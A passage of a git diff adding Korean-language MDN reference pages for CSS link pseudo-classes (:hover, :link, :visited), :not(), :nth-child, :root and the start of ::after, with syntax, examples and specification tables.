+  color: orange;
+}</pre>
+
+<p><code>:hover</code> 의사 클래스로 정의한 스타일은 자신보다 뒤에 위치하고 동등한 명시성을 가진 다른 링크 의사 클래스({{cssxref(":link")}}, {{cssxref(":visited")}}, {{cssxref(":active")}})가 덮어씁니다. 링크를 적절히 디자인하려면 LVHA-순서(<code>:link</code> — <code>:visited</code> — <code>:hover</code> — <code>:active</code>)를 따라, <code>:hover</code> 규칙을 <code>:link</code>와 <code>:visited</code> 뒤, <code>:active</code> 앞에 배치하세요.</p>
+
+<div class="note"><strong>참고</strong>: <code>:hover</code> 의사 클래스는 터치스크린에서 문제가 많습니다. 브라우저에 따라서 :hover를 절대 활성화하지 않을 수도 있지만, 요소를 터치한 직후에만, 아니면 터치한 이후 다른 요소를 다시 터치하기 전까지 계속 활성화할 수도 있습니다. 웹 개발자는 호버링이 제한적이거나 아예 불가능한 장치에서도 콘텐츠에 접근할 수 있도록 개발해야 합니다.</div>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;a href="#"&gt;이 링크를 가리켜보세요.&lt;/a&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">a {
+  background-color: powderblue;
+  transition: background-color .5s;
+}
+
+a:hover {
+  background-color: gold;
+}</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{EmbedLiveSample("예제")}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Comment</th>
+   <th scope="col">Feedback</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('HTML WHATWG', 'scripting.html#selector-hover', ':hover') }}</td>
+   <td> </td>
+   <td><a href="https://github.com/whatwg/html/issues">WHATWG HTML GitHub issues</a></td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS4 Selectors', '#the-hover-pseudo', ':hover') }}</td>
+   <td>Allows <code>:hover</code> to be applied to any pseudo-element.</td>
+   <td><a href="https://github.com/w3c/csswg-drafts/issues">CSS Working Group drafts GitHub issues</a></td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS3 Selectors', '#the-user-action-pseudo-classes-hover-act', ':hover') }}</td>
+   <td> </td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS2.1', 'selector.html#dynamic-pseudo-classes', ':hover') }}</td>
+   <td>Initial definition.</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("css.selectors.hover")}}</p>
+</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="https://code.google.com/p/chromium/issues/detail?id=370155">Chromium 버그 #370155: Don't make <code>:hover</code> sticky on tap on sites that set a mobile viewport</a></li>
+ <li><a href="https://code.google.com/p/chromium/issues/detail?id=306581">Chromium 버그 #306581: Immediately show hover and active states on touch when page isn't scrollable.</a></li>
+</ul>
diff --git a/files/ko/web/css/_colon_link/index.html b/files/ko/web/css/_colon_link/index.html
new file mode 100644
index 0000000000..f17f896eab
--- /dev/null
+++ b/files/ko/web/css/_colon_link/index.html
@@ -0,0 +1,105 @@
+---
+title: ':link'
+slug: 'Web/CSS/:link'
+tags:
+  - CSS
+  - Layout
+  - Pseudo-class
+  - Reference
+  - Web
+translation_of: 'Web/CSS/:link'
+---
+<div>{{ CSSRef }}</div>
+
+<p><span class="seoSummary"><strong><code>:link</code></strong> <a href="/ko/docs/Web/CSS">CSS</a> <a href="/ko/docs/Web/CSS/Pseudo-classes">의사 클래스</a>는 아직 방문하지 않은 요소를 나타냅니다.</span> <code>href</code> 속성을 가진 {{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("link")}} 중 방문하지 않은 모든 요소를 선택합니다.</p>
+
+<pre class="brush: css no-line-numbers">/* 아직 방문하지 않은 &lt;a&gt; 요소를 선택 */
+a:link {
+  color: red;
+}</pre>
+
+<p><code>:link</code> 의사 클래스로 정의한 스타일은 자신보다 뒤에 위치하고 동등한 명시성을 가진 다른 링크 의사 클래스({{cssxref(":active")}}, {{cssxref(":hover")}}, {{cssxref(":visited")}})가 덮어씁니다. 링크를 적절히 디자인하려면 LVHA-순서(<code>:link</code> — <code>:visited</code> — <code>:hover</code> — <code>:active</code>)를 따라, <code>:active</code> 규칙을 다른 모든 링크 규칙들보다 앞에 배치하세요.</p>
+
+<div class="note">
+<p><strong>참고:</strong> 방문 여부에 상관하지 않고 요소를 선택하려면 {{cssxref(":any-link")}}를 사용하세요.</p>
+</div>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<p>대부분의 브라우저는 방문한 링크에 기본값으로 특별한 {{cssxref("color")}} 값을 지정합니다. 따라서 다음 예제의 링크를 방문한 적이 없을 때만 글자 색이 적용된 모습을 볼 수 있고, 방문한 적이 있으면 브라우저 기록을 지워서 확인할 수 있습니다. 그러나 방문한 링크의 배경색은 보통 브라우저가 지정하지 않으므로 {{cssxref("background-color")}}는 계속 확인할 수 있습니다.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;a href="#ordinary-target"&gt;평범한 링크입니다.&lt;/a&gt;&lt;br&gt;
+&lt;a href=""&gt;이 링크는 이미 방문했습니다.&lt;/a&gt;&lt;br&gt;
+&lt;a&gt;플레이스홀더 링크 (스타일 적용 안됨)&lt;/a&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">a:link {
+  background-color: gold;
+  color: green;
+}
+</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{EmbedLiveSample("예제")}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('HTML WHATWG', 'scripting.html#selector-link', ':link') }}</td>
+   <td>{{ Spec2('HTML WHATWG') }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS4 Selectors', '#link', ':link') }}</td>
+   <td>{{ Spec2('CSS4 Selectors') }}</td>
+   <td>No change.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS3 Selectors', '#link', ':link') }}</td>
+   <td>{{ Spec2('CSS3 Selectors') }}</td>
+   <td>No change.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS2.1', 'selector.html#link-pseudo-classes', ':link') }}</td>
+   <td>{{ Spec2('CSS2.1') }}</td>
+   <td>Lift the restriction to only apply it for {{ HTMLElement("a") }} element.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS1', '#anchor-pseudo-classes', ':link') }}</td>
+   <td>{{ Spec2('CSS1') }}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("css.selectors.link")}}</p>
+</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>링크 관련 의사 클래스: {{ cssxref(":visited") }}, {{ cssxref(":hover") }}, {{ cssxref(":active") }}</li>
+</ul>
diff --git a/files/ko/web/css/_colon_not/index.html b/files/ko/web/css/_colon_not/index.html
new file mode 100644
index 0000000000..f471cce411
--- /dev/null
+++ b/files/ko/web/css/_colon_not/index.html
@@ -0,0 +1,71 @@
+---
+title: ':not()'
+slug: 'Web/CSS/:not'
+tags:
+  - CSS
+  - Layout
+  - Pseudo-class
+  - Reference
+translation_of: 'Web/CSS/:not'
+---
+<div>{{ CSSRef() }}</div>
+
+<p>부정(<strong>negation</strong>) <a href="/ko/docs/Web/CSS/Pseudo-classes" title="Pseudo-classes">CSS 가상 클래스</a> <code>:not(X)</code>는 인수로 간단한 선택자(selector) <var>X</var>를 취하는 기능 표기법입니다. 인수로 표시되지 않은 요소와 일치합니다. <var>X</var>는 다른 부정 선택자를 포함해서는 안 됩니다.</p>
+
+<div class="note"><strong>주의:</strong>
+
+<ul>
+ <li>쓸모없는 선택자는 이 가상 클래스를 사용하여 작성될 수 있습니다. 예를 들어, <code>:not(*)</code>은 임의 요소가 아닌 모든 요소와 일치합니다. 그래서 규칙이 결코 적용되지 않습니다.</li>
+ <li>다른 규칙을 다시 작성할 수 있습니다. 가령 <code>foo:not(bar)</code>는 간단한 <code>foo</code>와 같은 요소와 일치합니다. 그럼에도 불구하고 첫 요소의 <a href="/ko/docs/Web/CSS/Specificity" title="Specificity">명시도</a>가 더 높습니다.</li>
+ <li><code>:not(foo){}</code>는 <strong>{{HTMLElement("html")}} 및 {{HTMLElement("body")}} 포함</strong> 뭐든지 <code>foo</code>가 아닌 것과 일치합니다.</li>
+ <li>이 선택자는 한 요소에만 적용됩니다. 따라서 모든 조상(ancestor)을 제외하는 데 사용할 수 없습니다. 예를 들어, <code>body :not(table) a</code>는 {{HTMLElement("tr")}} 요소가 선택자의 <code>:not()</code> 부분과 일치하기 때문에, 여전히 표 내부 링크에 적용됩니다.</li>
+</ul>
+</div>
+
+<h2 id="Syntax" name="Syntax">구문</h2>
+
+<pre class="syntaxbox">:not(selector) { <em>style properties</em> }</pre>
+
+<h2 id="Examples" name="Examples">예제</h2>
+
+<pre class="brush: css">p:not(.classy) { color: red; }
+body :not(p) { color: green; }</pre>
+
+<p>위의 CSS 및 아래 HTML이 주어진다면...</p>
+
+<pre class="brush: html">&lt;p&gt;Some text.&lt;/p&gt;
+&lt;p class="classy"&gt;Some other text.&lt;/p&gt;
+&lt;span&gt;One more text&lt;span&gt;
+</pre>
+
+<p>이 같은 출력을 얻습니다:</p>
+
+<p>{{ EmbedLiveSample('Examples', '', '', '', 'Web/CSS/:not') }}</p>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">설명</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS4 Selectors', '#negation', ':not()') }}</td>
+   <td>{{ Spec2('CSS4 Selectors') }}</td>
+   <td>인수로 일부 비 간단 선택자를 허용토록 확장.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS3 Selectors', '#negation', ':not()') }}</td>
+   <td>{{ Spec2('CSS3 Selectors') }}</td>
+   <td>초기 정의.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">브라우저 호환성</h2>
+
+<p>{{Compat("css.selectors.not")}}</p>
diff --git a/files/ko/web/css/_colon_nth-child/index.html b/files/ko/web/css/_colon_nth-child/index.html
new file mode 100644
index 0000000000..2368a66641
--- /dev/null
+++ b/files/ko/web/css/_colon_nth-child/index.html
@@ -0,0 +1,196 @@
+---
+title: ':nth-child'
+slug: 'Web/CSS/:nth-child'
+tags:
+  - CSS
+  - Layout
+  - Pseudo-class
+  - Reference
+  - Web
+translation_of: 'Web/CSS/:nth-child'
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/ko/docs/Web/CSS" title="CSS">CSS</a> <strong><code>:nth-child()</code></strong> <a href="/ko/docs/Web/CSS/Pseudo-classes">의사 클래스</a>는 형제 사이에서의 순서에 따라 요소를 선택합니다.</p>
+
+<pre class="brush: css no-line-numbers">/* 목록의 두 번째 &lt;li&gt; 선택 */
+li:nth-child(2) {
+  color: lime;
+}
+
+/* 임의의 그룹에서 네 번째에 위치하는 모든 요소 선택 */
+:nth-child(4n) {
+  color: lime;
+}
+</pre>
+
+<h2 id="Syntax" name="Syntax">구문</h2>
+
+<p><code>nth-child</code> 의사 클래스는 형제의 목록에서, 선택하려는 요소의 인덱스 패턴을 나타내는 하나의 매개변수를 사용해 지정합니다. 인덱스는 1부터 시작합니다.</p>
+
+<h3 id="키워드_값">키워드 값</h3>
+
+<dl>
+ <dt><code>odd</code></dt>
+ <dd>형제 요소에서 홀수번째(1, 3, 5, ...)인 요소를 나타냅니다.</dd>
+ <dt><code>even</code></dt>
+ <dd>형제 요소에서 짝수번째(2, 4, 6, ...)인 요소를 나타냅니다.</dd>
+</dl>
+
+<h3 id="함수형_표기법">함수형 표기법</h3>
+
+<dl>
+ <dt><code>&lt;An+B&gt;</code></dt>
+ <dd>사용자 지정 패턴을 만족한 인덱스를 가지는 요소를 나타냅니다. An+B의 형태로 나타내며,<br>
+     <code>A</code>는 정수 인덱스 증감량,<br>
+     <code>B</code>는 정수 오프셋,<br>
+     <code>n</code>은 0부터 시작하는 모든 양의 정수를 나타냅니다.</dd>
+ <dd>목록의 <em>An+B</em>번째 요소라고 해석할 수 있습니다.</dd>
+</dl>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}
+</pre>
+
+<h2 id="Examples" name="Examples">예제</h2>
+
+<h3 id="Example_selectors" name="Example_selectors">선택자</h3>
+
+<dl>
+ <dt><code>tr:nth-child(odd)</code> 또는 <code>tr:nth-child(2n+1)</code></dt>
+ <dd>HTML 표의 홀수번째 행을 나타냅니다.</dd>
+ <dt><code>tr:nth-child(even)</code> 또는 <code>tr:nth-child(2n)</code></dt>
+ <dd>HTML 표의 짝수번째 행을 나타냅니다.</dd>
+ <dt><code>:nth-child(7)</code></dt>
+ <dd>임의의 7번째 요소를 나타냅니다.</dd>
+ <dt><code>:nth-child(5n)</code></dt>
+ <dd><strong>5</strong> [=5×1], <strong>10</strong> [=5×2], <strong>15</strong> [=5×3], <strong>...</strong> 번째의 요소를 나타냅니다. 패턴 공식을 만족하는 첫 번째 값은 <strong>0</strong> [=5x0]으로서 아무 요소도 선택하지 않는데, 요소의 인덱스는 1부터 시작하지만 <code>n</code>은 0부터 증가하기 때문입니다. 다소 의아할 수 있으나, 바로 아래 예제처럼 공식의 B 부분이 &gt;0인 경우 보다 납득하기 쉬워집니다.</dd>
+ <dt><code>:nth-child(n+7)</code></dt>
+ <dd>7번째와 그 이후의 모든 요소, 즉 <strong>7</strong> [=0+7], <strong>8</strong> [=1+7], <strong>9</strong> [=2+7], <strong>...</strong> 를 나타냅니다.</dd>
+ <dt><code>:nth-child(3n+4)</code></dt>
+ <dd><strong>4</strong> [=(3×0)+4], <strong>7</strong> [=(3×1)+4], <strong>10</strong> [=(3×2)+4], <strong>13</strong> [=(3×3)+4], <strong>...</strong> 번째의 요소를 나타냅니다.</dd>
+ <dt><code>:nth-child(-n+3)</code></dt>
+ <dd>앞에서 세 개의 요소를 나타냅니다. [=-0+3, -1+3, -2+3]</dd>
+ <dt><code>p:nth-child(n)</code></dt>
+ <dd>형제 그룹 내의 모든 <code>&lt;p&gt;</code> 요소를 나타냅니다. 단순한 <code>p</code> 선택자와 동일하지만 더 높은 <a href="/ko/docs/Web/CSS/Specificity">명시도</a>를 가집니다.</dd>
+ <dt><code>p:nth-child(1)</code> 또는 <code>p:nth-child(0n+1)</code></dt>
+ <dd>형제 그룹 내의 모든 첫 번째 <code>&lt;p&gt;</code> 요소를 나타냅니다. {{cssxref(":first-child")}} 선택자와 동일하며 같은 <a href="/ko/docs/Web/CSS/Specificity">명시도</a>를 가집니다.</dd>
+ <dt><code>p:nth-child(n+8):nth-child(-n+15)</code></dt>
+ <dd>형제 그룹 내에서 8번째부터 15번째 까지의 <code>&lt;p&gt;</code> 요소를 나타냅니다.</dd>
+</dl>
+
+<h3 id="자세한_예제">자세한 예제</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush:html">&lt;h3&gt;&lt;code&gt;span:nth-child(2n+1)&lt;/code&gt;, WITHOUT an
+   &lt;code&gt;&amp;lt;em&amp;gt;&lt;/code&gt; among the child elements.&lt;/h3&gt;
+&lt;p&gt;Children 1, 3, 5, and 7 are selected.&lt;/p&gt;
+&lt;div class="first"&gt;
+  &lt;span&gt;Span 1!&lt;/span&gt;
+  &lt;span&gt;Span 2&lt;/span&gt;
+  &lt;span&gt;Span 3!&lt;/span&gt;
+  &lt;span&gt;Span 4&lt;/span&gt;
+  &lt;span&gt;Span 5!&lt;/span&gt;
+  &lt;span&gt;Span 6&lt;/span&gt;
+  &lt;span&gt;Span 7!&lt;/span&gt;
+&lt;/div&gt;
+
+&lt;br&gt;
+
+&lt;h3&gt;&lt;code&gt;span:nth-child(2n+1)&lt;/code&gt;, WITH an
+   &lt;code&gt;&amp;lt;em&amp;gt;&lt;/code&gt; among the child elements.&lt;/h3&gt;
+&lt;p&gt;Children 1, 5, and 7 are selected.&lt;br&gt;
+   3 is used in the counting because it is a child, but it isn't
+   selected because it isn't a &lt;code&gt;&amp;lt;span&amp;gt;&lt;/code&gt;.&lt;/p&gt;
+&lt;div class="second"&gt;
+  &lt;span&gt;Span!&lt;/span&gt;
+  &lt;span&gt;Span&lt;/span&gt;
+  &lt;em&gt;This is an `em`.&lt;/em&gt;
+  &lt;span&gt;Span&lt;/span&gt;
+  &lt;span&gt;Span!&lt;/span&gt;
+  &lt;span&gt;Span&lt;/span&gt;
+  &lt;span&gt;Span!&lt;/span&gt;
+  &lt;span&gt;Span&lt;/span&gt;
+&lt;/div&gt;
+
+&lt;br&gt;
+
+&lt;h3&gt;&lt;code&gt;span:nth-of-type(2n+1)&lt;/code&gt;, WITH an
+   &lt;code&gt;&amp;lt;em&amp;gt;&lt;/code&gt; among the child elements.&lt;/h3&gt;
+&lt;p&gt;Children 1, 4, 6, and 8 are selected.&lt;br&gt;
+   3 isn't used in the counting or selected because it is an &lt;code&gt;&amp;lt;em&amp;gt;&lt;/code&gt;,
+   not a &lt;code&gt;&amp;lt;span&amp;gt;&lt;/code&gt;, and &lt;code&gt;nth-of-type&lt;/code&gt; only selects
+   children of that type. The &lt;code&gt;&amp;lt;em&amp;gt;&lt;/code&gt; is completely skipped
+   over and ignored.&lt;/p&gt;
+&lt;div class="third"&gt;
+  &lt;span&gt;Span!&lt;/span&gt;
+  &lt;span&gt;Span&lt;/span&gt;
+  &lt;em&gt;This is an `em`.&lt;/em&gt;
+  &lt;span&gt;Span!&lt;/span&gt;
+  &lt;span&gt;Span&lt;/span&gt;
+  &lt;span&gt;Span!&lt;/span&gt;
+  &lt;span&gt;Span&lt;/span&gt;
+  &lt;span&gt;Span!&lt;/span&gt;
+&lt;/div&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">html {
+  font-family: sans-serif;
+}
+
+span,
+div em {
+  padding: 5px;
+  border: 1px solid green;
+  display: inline-block;
+  margin-bottom: 3px;
+}
+
+.first span:nth-child(2n+1),
+.second span:nth-child(2n+1),
+.third span:nth-of-type(2n+1) {
+  background-color: lime;
+}</pre>
+
+<h4 id="결과">결과</h4>
+
+<div>{{EmbedLiveSample('자세한_예제', 550, 550)}}</div>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Selectors', '#nth-child-pseudo', ':nth-child')}}</td>
+   <td>{{Spec2('CSS4 Selectors')}}</td>
+   <td>Adds <code>of &lt;selector&gt;</code> syntax and specifies that matching elements are not required to have a parent.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Selectors', '#nth-child-pseudo', ':nth-child')}}</td>
+   <td>{{Spec2('CSS3 Selectors')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.selectors.nth-child")}}</p>
+
+<h2 id="See_also" name="See_also">같이 보기</h2>
+
+<ul>
+ <li>{{ Cssxref(":nth-of-type") }}, {{ Cssxref(":nth-last-child") }}</li>
+</ul>
diff --git a/files/ko/web/css/_colon_root/index.html b/files/ko/web/css/_colon_root/index.html
new file mode 100644
index 0000000000..5fb9ed0fd6
--- /dev/null
+++ b/files/ko/web/css/_colon_root/index.html
@@ -0,0 +1,78 @@
+---
+title: ':root'
+slug: 'Web/CSS/:root'
+tags:
+  - CSS
+  - Layout
+  - Pseudo-class
+  - Reference
+  - Selector
+  - Web
+translation_of: 'Web/CSS/:root'
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/ko/docs/Web/CSS">CSS</a> <strong><code>:root</code></strong> <a href="/ko/docs/Web/CSS/Pseudo-classes">의사 클래스</a>는 문서 트리의 루트 요소를 선택합니다 HTML의 루트 요소는 {{htmlelement("html")}} 요소이므로, <code>:root</code>의 <a href="/ko/docs/Web/CSS/Specificity">명시도</a>가 더 낮다는 점을 제외하면 <code>html</code> 선택자와 똑같습니다.</p>
+
+<pre class="brush: css no-line-numbers notranslate">/* 문서의 루트 요소 선택
+   HTML에서는 &lt;html&gt; */
+:root {
+  background: yellow;
+}</pre>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="전역_CSS_변수_선언하기">전역 CSS 변수 선언하기</h3>
+
+<p><code>:root</code>는 전역 <a href="/ko/docs/Web/CSS/Using_CSS_custom_properties">CSS 변수</a> 선언에 유용하게 사용할 수 있습니다.</p>
+
+<pre class="brush: css notranslate">:root {
+  --main-color: hotpink;
+  --pane-padding: 5px 42px;
+}
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Selectors', '#root-pseudo', ':root')}}</td>
+   <td>{{Spec2('CSS4 Selectors')}}</td>
+   <td>No change.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Selectors', '#root-pseudo', ':root')}}</td>
+   <td>{{Spec2('CSS3 Selectors')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.selectors.root")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{htmlelement("html")}}</li>
+ <li>{{domxref("Document.rootElement")}}</li>
+ <li>{{domxref("Node.getRootNode()")}}</li>
+ <li>{{domxref("Node.rootNode")}}</li>
+ <li>{{domxref("Element.shadowRoot")}}</li>
+ <li>{{domxref("ShadowRoot")}}</li>
+</ul>
diff --git a/files/ko/web/css/_colon_visited/index.html b/files/ko/web/css/_colon_visited/index.html
new file mode 100644
index 0000000000..1c1f962b37
--- /dev/null
+++ b/files/ko/web/css/_colon_visited/index.html
@@ -0,0 +1,121 @@
+---
+title: ':visited'
+slug: 'Web/CSS/:visited'
+tags:
+  - CSS
+  - Layout
+  - Pseudo-class
+  - Reference
+  - Web
+translation_of: 'Web/CSS/:visited'
+---
+<div>{{ CSSRef }}</div>
+
+<p><strong><code>:visited</code></strong> <a href="/ko/docs/Web/CSS">CSS</a> <a href="/ko/docs/Web/CSS/Pseudo-classes" title="Pseudo-classes">의사 클래스</a>는 사용자가 방문한 적이 있는 링크를 나타냅니다. <code>:visited</code>가 바꿀 수 있는 스타일은 개인정보 보호를 위해 매우 제한적입니다.</p>
+
+<pre class="brush: css no-line-numbers">/* 방문한 적이 있는 &lt;a&gt; 선택 */
+a:visited {
+  color: green;
+}
+</pre>
+
+<p><code>:visited</code> 의사 클래스로 정의한 스타일은 자신보다 뒤에 위치하고 동등한 명시성을 가진 다른 링크 의사 클래스({{cssxref(":link")}}, {{cssxref(":hover")}}, {{cssxref(":active")}})가 덮어씁니다. 링크를 적절히 디자인하려면 <em>LVHA-순서(</em><code>:link</code> — <code>:visited</code> — <code>:hover</code> — <code>:active</code>)를 따라, <code>:visited</code> 규칙을 <code>:link</code> 뒤, <code>:hover</code>와 <code>:active</code> 앞에 배치하세요.</p>
+
+<h2 id="스타일_제한">스타일 제한</h2>
+
+<p>브라우저는 개인정보 보호를 위해 <code>:visited</code>에서 사용할 수 있는 스타일을 엄격히 제한하고 있습니다.</p>
+
+<ul>
+ <li>사용 가능한 CSS 속성은 {{ cssxref("color") }}, {{ cssxref("background-color") }}, {{ cssxref("border-color") }}, {{ cssxref("border-bottom-color") }}, {{ cssxref("border-left-color") }}, {{ cssxref("border-right-color") }}, {{ cssxref("border-top-color") }}, {{ cssxref("column-rule-color") }}, {{ cssxref("outline-color") }}입니다.</li>
+ <li>사용 가능한 SVG 속성은 {{SVGAttr("fill")}}과{{SVGAttr("stroke")}}입니다.</li>
+ <li>허용 가능한 속성의 알파 채널 값은 무시하고, 대신 <code>:visited</code>가 아닐 때의 알파 채널을 사용합니다. 단, 그 값이 0일 땐 <code>:visited</code>의 스타일을 모두 무시합니다.</li>
+ <li>사용자 입장에서는 방문한 링크의 색이 바뀐 것처럼 보일 때도, {{domxref("window.getComputedStyle()")}} 메서드는 거짓으로라도 항상 <code>:visited</code>가 아닐 때의 스타일을 반환합니다.</li>
+</ul>
+
+<div class="note">
+<p><strong>참고:</strong> 스타일 제한에 관한 더 많은 정보와 이유에 대해서는 <a href="/ko/docs/Web/CSS/Privacy_and_the_:visited_selector">개인정보와 :visited 선택자</a> 문서를 참고하세요.</p>
+</div>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<p>기본적으로 색이 없거나 투명한 속성은 <code>:visited</code>로 수정할 수 없습니다. <code>:visited</code>가 수정 가능한 속성 중 브라우저가 기본값을 지정하는건 보통 <code>color</code>와 <code>column-rule-color</code> 뿐입니다. 따라서 다른 속성을 수정하고 싶다면 기본값을 직접 지정해야 합니다.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;a href="#test-visited-link"&gt;링크를 아직 방문하지 않으셨나요?&lt;/a&gt;&lt;br&gt;
+&lt;a href=""&gt;이미 방문했습니다.&lt;/a&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">a {
+  /* 특정 속성에 투명하지 않은 기본값을 지정해
+     :visited 상태로 바꿀 수 있도록 설정 */
+  background-color: white;
+  border: 1px solid white;
+}
+
+a:visited {
+  background-color: yellow;
+  border-color: hotpink;
+  color: hotpink;
+}</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{EmbedLiveSample("예제")}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('HTML WHATWG', 'scripting.html#selector-visited', ':visited') }}</td>
+   <td>{{ Spec2('HTML WHATWG') }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS4 Selectors', '#link', ':visited') }}</td>
+   <td>{{ Spec2('CSS4 Selectors') }}</td>
+   <td>No change.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS3 Selectors', '#link', ':visited') }}</td>
+   <td>{{ Spec2('CSS3 Selectors') }}</td>
+   <td>No change.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS2.1', 'selector.html#link-pseudo-classes', ':visited') }}</td>
+   <td>{{ Spec2('CSS2.1') }}</td>
+   <td>Lifts the restriction to only apply <code>:visited</code> to the {{ HTMLElement("a") }} element. Lets browsers restrict its behavior for privacy reasons.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS1', '#anchor-pseudo-classes', ':visited') }}</td>
+   <td>{{ Spec2('CSS1') }}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.selectors.visited")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/CSS/Privacy_and_the_:visited_selector">개인정보와 :visited 선택자</a></li>
+ <li>링크 관련 의사 클래스: {{cssxref(":link")}}, {{cssxref(":active")}}, {{cssxref(":hover")}}</li>
+</ul>
diff --git a/files/ko/web/css/_doublecolon_after/index.html b/files/ko/web/css/_doublecolon_after/index.html
new file mode 100644
index 0000000000..30f44876f7
--- /dev/null
+++ b/files/ko/web/css/_doublecolon_after/index.html
@@ -0,0 +1,179 @@
+---
+title: '::after (:after)'
+slug: 'Web/CSS/::after'
+tags:
+  - CSS
+  - Layout
+  - Pseudo-element
+  - Reference
+  - Web
+translation_of: 'Web/CSS/::after'
+---
+<div>{{CSSRef}}</div>
+
+<p><span class="seoSummary">CSS에서, <strong><code>::after</code></strong>는 선택한 요소의 맨 마지막 자식으로 <a href="/ko/docs/Web/CSS/Pseudo-elements">의사 요소</a>를 하나 생성합니다. 보통 {{cssxref("content")}} 속성과 함께 짝지어, 요소에 장식용 콘텐츠를 추가할 때 사용합니다.</span> 기본값은 인라인입니다.</p>
+
+<pre class="brush: css no-line-numbers  language-css"><code class="language-css"><span class="comment token">/* 링크 뒤에 화살표 추가 */</span>
+<span class="selector token">a<span class="pseudo-class token">::after</span> </span><span class="punctuation token">{</span>
+  <span class="property token">content: "</span></code>→<code class="language-css"><span class="property token">";</span>
+<span class="punctuation token">}</span></code></pre>
+
+<div class="note">
